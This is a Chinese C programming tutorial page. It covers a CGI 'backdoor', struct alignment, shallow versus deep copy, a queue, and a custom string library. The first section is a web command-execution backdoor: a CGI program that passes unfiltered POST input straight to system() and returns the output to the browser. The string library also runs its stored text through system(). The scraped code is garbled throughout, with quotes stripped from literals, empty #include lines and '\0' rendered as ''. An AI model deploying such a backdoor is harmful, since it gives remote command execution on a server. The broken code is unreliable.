频道栏目
首页 > 资讯 > C++ > 正文

[C/C++学院]0730-网站以及后门/结构体对齐、结构体面试分析/深拷贝与浅拷贝/队列/字符串封装

15-09-07        来源:[db:作者]  
收藏   我要投稿
??

网站以及后门

 

Windwos安装Apache服务器软件,进行测试。Localhost

 

将可执行程序xxx.exe改为xxx.cgi放到apache服务器上,通过浏览器进行访问。

 

#define   _CRT_SECURE_NO_WARNINGS
#include
#include
#include

void main()
{
	printf(Content-type:text/html

);
	printf(%s

,  getenv(QUERY_STRING));//打印环境变量
	char szPost[256] = {0};
	gets(szPost);//获取输入
	printf(%s

, szPost);//获取输入
	//BBB=tasklist&AAA=%C7%EB%BD%F8
	char *p = szPost + 4;//0,1,2,3
	char *p1 = strchr(szPost, '&');
	*p1 = '';

	char cmd[256] = { 0 };
	sprintf(cmd, %s >1.txt, p);//字符串映射
	system(cmd);
	FILE *pf = fopen(1.txt, r);
	while (!feof(pf))//如果没有到文件末尾就继续
	{
		char ch = fgetc(pf);
		if (ch == '
')
		{
			printf(

);//换行
		}
		else
		{
			putchar(ch);//打印字符
		}		
	}
}

 

 

结构体对齐、结构体面试分析

 

#include
#include

//最宽基本基本成员,char , int,double,结构体数组都不是最宽基本成员
//结构体大小必须可以整除最宽基本成员,是最宽基本成员的整数倍
//结构体成员地址减去结构体首地址,就是偏移量,偏移量必须可以整除成员的基本类型

struct info  
{
	char c;//1     2     4       8
	double  sh;//1    2     4    8
	char ch[9];//9 10    12      16

};
struct info1
{

	short sh1;    //8   4  //2
	int   sh;    //8    4  //4
	char ch[19];  //16  20 //19

};


void main2()
{
	struct info1  info11 = {10,200,123456};
	printf(%p
, &info11);
	printf(%p
, &info11.sh1);
	printf(%p
, &info11.sh);
	printf(%p
, &info11.ch);

	getchar();
}

void main1()
{
	
	printf(%d, sizeof(struct info1));


	system(pause);
}

 

 

深拷贝与浅拷贝

 

#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include

struct string
{
	char *p;
	int length;
};

void main11()
{
	struct string str1;
	str1.length = 10;
	str1.p =(char *) malloc(sizeof(char)* 10);
	strcpy(str1.p, hello);
	printf(
str1.p=%s, str1.p);//输出结果
	struct string str2;
	str2.length = str1.length;
	str2.p = str1.p;
	*(str1.p) = 'k';//浅拷贝,共享内存
	printf(
str2.p=%s, str2.p);//输出结果
	system(pause);
}

void   main123()
{
	struct string str1;
	str1.length = 10;
	str1.p = (char *)malloc(sizeof(char)* 10);
	strcpy(str1.p, hello);
	printf(
str1.p=%s, str1.p);//输出结果
	struct string str2;
	str2.length = str1.length;
	str2.p =(char *) malloc(sizeof(char)* 10);
	strcpy(str2.p, str1.p);//拷贝内存内容
	*(str1.p) = 'k'; //深拷贝是拷贝内存的内容,
	printf(
str2.p=%s, str2.p);//输出结果
	system(pause);
}

 

 

队列

//队列.h

 

 

#include
#include

#define  N 100   //定义队列最大多少个
#define  datatype char   //定义队列的数据类型

struct queue
{
	datatype data[N];//保存数据的数组
	int front;//数据的开头  ,拉屎
	int rear;//数据的结尾,吃进去
};
typedef struct queue Q;//给已经有的类型简化一下

void  init(Q * myqueue);//初始化队列
int  isempty(Q * myqueue);//判断是否为空,1代表为空,0代表不为空

void  enQueue(Q * myqueue, datatype num);//入队,吃进去
datatype DeQueue(Q * myqueue);//出队,拉屎,返回值就是拉的
void  printfQ(Q * myqueue);//打印队列所有的元素
datatype gethead(Q * myqueue);//获取开头的一个节点

 

 

//队列.c

 

#include队列.h

void  init(Q * myqueue)//初始化队列
{
	myqueue->front = myqueue->rear = 0;//表示为空
}

int  isempty(Q * myqueue)//判断为空
{
	if (myqueue->front == myqueue->rear)
	{
		return 1;
	}
	else
	{
		return 0;
	}
}

void  enQueue(Q * myqueue, datatype num)
{
	if (myqueue->rear == N)
	{
		printf(吃东西失败);
		return ;//失败
	}
	else
	{
		myqueue->data[myqueue->rear] = num;//赋值
		myqueue->rear += 1;//增加一个
	}
}

datatype DeQueue(Q * myqueue)   //拉屎的过程
{
	if (myqueue->front == myqueue->rear)
	{
		printf(拉屎失败);
		return -1;
	}
	else
	{
		myqueue->front += 1;//拉屎
		return  myqueue->data[myqueue->front - 1];//返回你拉的
	}
}

void  printfQ(Q * myqueue)//打印队列所有的元素
{
	printf(
);
	if (myqueue->front == myqueue->rear)
	{
		printf(
你的肠胃为空);
	}
	else
	{
		for (int i = myqueue->front; i < myqueue->rear;i++)
		{
			printf(%c  , myqueue->data[i]);//显示你的肠胃
		}
	}
}

datatype gethead(Q * myqueue)
{	
	if (myqueue->front == myqueue->rear)
	{
		printf(
肠胃为空,无法找到你要最先拉的屎);
		return -1;
	}
	else
	{
		return myqueue->data[myqueue->front];//返回第一个节点
	}
}

 

 

//main.c

 

#include
#include
#include队列.h


void main()
{
	Q Q1;//创建一个结构体变量
	init(&Q1);//初始化
	enQueue(&Q1, 'A');
	printfQ(&Q1);
	enQueue(&Q1, 'B');
	printfQ(&Q1);
	enQueue(&Q1, 'C');
	printfQ(&Q1);
	enQueue(&Q1, 'D');
	printfQ(&Q1);
	enQueue(&Q1, 'E');
	printfQ(&Q1);

	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	
	system(pause);
}

 

 

 

 

字符串封装

//字符串.h

 

 

#define  _CRT_SECURE_NO_WARNINGS
#include
#include
#include

//字符串封装,需要库函数
//不需要库函数
struct CString
{
	char *p;//保存字符串首地址
	int reallength;//实际长度
};
typedef struct CString  mystring;//简写

//字符串,初始化,打印,
//查找,查找字符,查找字符串
//尾部增加,(字符,字符串)
//删除(字符,字符串),
//任意位置增加(字符,字符串)

////修改字符串,(字符,字符串替换)
void init(mystring *string);//原封不动初始化
void initwithlength(mystring *string,int length);//开辟长度,内存清零
void initwithstring(mystring *string,char *copystring);//初始化并拷贝字符串
void printfstring(mystring *string); //打印
void backaddchar(mystring *string,char ch);//增加字符
void backaddstring(mystring *string,char*str);//增加字符串
void run(mystring *string);//执行指令
char * findfirstchar(mystring *string, char ch);//返回第一个找到的字符的地址
char * findfirststring(mystring *string, char *str);//返回第一个找到的字符串的地址
int deletefirstchar(mystring *string,const char ch);//删除第一个找到的字符
int deletefirststring(mystring *string, char * const str);//删除第一个找到的字符串
void addchar(mystring *string, char ch,char *pos);//任意增加字符
void addstring(mystring *string, char*str,char *pos);//任意增加字符串
void  changefirstchar(mystring *string, const char oldchar, const newchar);//改变字符
void changefirststring(mystring *string, char * const oldstring, char *const newstring);//改变字符串

 

 

//字符串.c

 

#include字符串.h

int mystrlen(char *p)
{
	if (p == NULL)
	{
		return -1;//失败,
	}
	int length = 0;
	while (*p != '')//字符串终止条件
	{
		length++;//长度自增
		p++;//指针不断向前
	}
	return length;

}

char *mystrcpy(char *dest, const char *source)//const限定不被意外修改
{
	if (dest == NULL || source == NULL)
	{
		return  NULL;//为空没有必要干活了
	}
	char * destbak = dest;
	while (*source != '')//一直拷贝
	{
		*dest = *source;//赋值字符
		source++;
		dest++;//指针不断向前,字符挨个赋值
	}
	*dest = '';//结尾
	return destbak;//返回地址
}

char *mystrcat(char *dest, const char *source)
{
	if (dest == NULL || source == NULL)
	{
		return NULL;//失败
	}
	else
	{
		char *destbak = dest;//保留地址
		while (*dest != '')
		{
			dest++;//指针向前移动
		}
		//从尾部开始拷贝
		while (*source != '') //循环被被拷贝的字符串
		{
			*dest = *source;//字符串赋值
			dest++;
			source++;
		}
		*dest = '';//结尾
		return destbak;

	}
}

char * mystrchr(const char *dest, const char ch)
{
	if (dest == NULL)
	{
		return NULL;
	}
	while (*dest!='')
	{
		if (*dest == ch)
		{
			return dest;//找到返回地址
		}
		dest++;
	}
	return  NULL;//返回
}

char *mystrstr(const char * const  dest, const char * const findstr)
{
	if (dest == NULL || findstr == NULL)
	{
		return NULL;
	}
	char *destbak = dest;
	char *p = NULL;//保存找到的地址
	while (*destbak != '')
	{
		int flag = 1;//假定是相等
		char *findstrbak = findstr;
		char *nowdestbak = destbak;
		while (*findstrbak != '')
		{
			if (*nowdestbak != '')
			{

				if (*findstrbak != *nowdestbak)//有一个不等
				{
					flag = 0;//赋值为0代表不等
				}
				nowdestbak++;
				findstrbak++;
			}
			else
			{
				flag = 0;//设置标识
				break;
			}
		}

		if (flag == 1)
		{
			p = destbak;//当前位置
			return p;
		}
		  destbak++;
	}
	return NULL;
}



void init(mystring *string)
{
	string->p = NULL;
	string->reallength = 0;//初始化结构体字符串
}

void initwithlength(mystring *string, int length)
{
	//string->p =(char *) malloc(sizeof(char)*length);//分配内存
	string->p = (char *)calloc(length, sizeof(char));//分配内存并清零
	string->reallength = length;//长度
}

void initwithstring(mystring *string, char *copystring)
{
	int length = strlen(copystring);//获取字符串长度
	string->p =(char *) calloc(length + 1, sizeof(char));//分配内存
	mystrcpy(string->p, copystring);//拷贝字符串
	string->reallength = length + 1;//设置长度
}

void backaddchar(mystring *string,char ch)
{
	if (mystrlen(string->p)+1==string->reallength)//意味着满了
	{
		//重新分配内存
		string->p = realloc(string->p, string->reallength + 1);
		string->reallength += 1;
		string->p[string->reallength - 2] = ch;
		string->p[string->reallength - 1] = '';
	}
	else
	{
		int nowlength = mystrlen(string->p);//求出当前长度
		string->p[nowlength] = ch;
		string->p[nowlength + 1] = '';//字符的增加
	}
}

void backaddstring(mystring *string, char*str)
{
	int nowmystringlength = mystrlen(string->p);//获取当前长度
	int addstringlength = mystrlen(str);//要增加的长度
	if (nowmystringlength + addstringlength+1 >string->reallength)//判定是否越界
	{
		int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength);
		//printf(%d, needaddlength);
		string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度
		mystrcat(string->p, str);//拷贝字符串
		string->reallength += needaddlength;//增加长度
	}
	else
	{
		mystrcat(string->p, str);//拷贝字符串
	}
}

void printfstring(mystring *string)
{
	printf(
string=%s, string->p);//打印字符串
}

void run(mystring *string)
{
	system(string->p);//执行指令
}

char * findfirstchar(mystring *string, char ch)
{
	char *p = mystrchr(string->p, ch);//查找
	return p;
}

char * findfirststring(mystring *string, char *str)
{
	char *pres = mystrstr(string->p, str);
	return pres;//返回地址
}

int deletefirstchar(mystring *string, const char ch)
{
	char *p = mystrchr(string->p, ch);//查找
	if (p == NULL)
	{
		return 0;
	}
   else
   {
	   char *pnext = p + 1;
	   while (*pnext != '')
	   {
		   *p = *pnext; //删除一个字符整体向前移动
		   p++;
		   pnext++;
	   }
	   *p = '';//字符串要有结尾
	   return 1;
    }
}

int deletefirststring(mystring *string, char * const str)
{
	char *pres = mystrstr(string->p, str);//查找
	if (pres == NULL)
	{
		return 0;
	}
	else
	{
		int length = mystrlen(str);//求字符串长度
		char *pnext = pres + length;//下一个字符
		while (*pnext != '')
		{
			*pres = *pnext; //删除一个字符整体向前移动
			pres++;
			pnext++;
		}
		*pres = '';//字符串要有结尾
		return 1;
	}
}

void addchar(mystring *string, char ch, char *pos)
{
	if (pos == NULL || string ==NULL)
	{
		return;
	}
	if(mystrlen(string->p) + 1 == string->reallength)//意味着满了
	{
		//重新分配内存
		string->p = realloc(string->p, string->reallength + 1);
		string->reallength += 1;

		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		for (int i = nowlength; i > nowlength - movelength; i--)//移动
		{
			string->p[i] = string->p[i - 1];//轮询
		}
		string->p[nowlength - movelength] = ch;//插入

		string->p[nowlength + 1] = '';//结尾
	}
	else
	{
		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		for (int i = nowlength; i > nowlength-movelength; i--)//移动
		{
			string->p[i] = string->p[i - 1];//轮询
		}
		string->p[nowlength - movelength]=ch;//插入
		string->p[nowlength + 1] = '';//结尾    
	}

}

void addstring(mystring *string, char*str, char *pos)//任意增加字符串
{
	if (pos == NULL || string == NULL)
	{
		return;
	}
	int nowmystringlength = mystrlen(string->p);//获取当前长度
	int addstringlength = mystrlen(str);//要增加的长度
	if (nowmystringlength + addstringlength + 1 >string->reallength)//判定是否越界
	{
		int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength);
		//printf(%d, needaddlength);
		string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度
		string->reallength += needaddlength;//增加长度

		//先移动,再拷贝
		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		int insertlength = strlen(str);//要求出插入的长度

		for (int i = nowlength; i >=nowlength-movelength ; i--)
		{
			string->p[i + insertlength]=string->p[i];//字符移动
		}
		for (int j = 0; j < insertlength;j++)
		{
			string->p[nowlength-movelength+j]= str[j];//赋值拷贝
		}
	}
	else
	{
		int nowlength = mystrlen(string->p);//求出当前长度
		int movelength = mystrlen(pos);//求出现在要移动的长度
		int insertlength = strlen(str);//要求出插入的长度
		for (int i = nowlength; i >= nowlength - movelength; i--)
		{
			string->p[i + insertlength] = string->p[i];//字符移动
		}
		for (int j = 0; j < insertlength; j++)
		{
			string->p[nowlength - movelength + j] = str[j];//赋值拷贝
		}
	}
}

void  changefirstchar(mystring *string, const char oldchar, const newchar)//改变字符
{
	char *pstr = string->p;
	while (*pstr != '')
	{
		if (*pstr == oldchar)//查找
		{
			*pstr = newchar;//赋值
			return;
		}
		pstr++;
	}
}

void changefirststring(mystring *string, char * const oldstring, char *const newstring)//改变字符串
{
	char *pfind = findfirststring(string, oldstring);//找到位置
	if (pfind != NULL)
	{
		deletefirststring(string, oldstring);//删除
		addstring(string, newstring, pfind);//插入
	}
}

//main.c

 

#include
#include
#include字符串.h
void main()
{

	mystring string1;
	initwithstring(&string1,  note);
	printfstring(&string1);

	//backaddchar(&string1, 'd');
	backaddstring(&string1, padnotepadnotepad);
	printfstring(&string1);
	while (findfirststring(&string1,notepad))
	{
		changefirststring(&string1, notepad, 123456789);
	}

	//char *p = findfirstchar(&string1, 't');
	//if (p != NULL)
	//{
	//	addstring(&string1, 12345, p);
	//}


	//deletefirstchar(&string1, 'e');
	//deletefirststring(&string1, pad);

	//char *strp = findfirstchar(&string1, 'a');
	//*strp = 'A';
	/*char *strp = findfirststring(&string1, ada);
	if (strp != NULL)
	{
		*strp = 'X';
	}*/
	printfstring(&string1);
	

	//run(&string1);


	system(pause);

}



 

 

 

 

相关TAG标签
上一篇:VC获取并修改计算机屏幕分辨率
下一篇:数据结构之自建算法库——顺序表
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站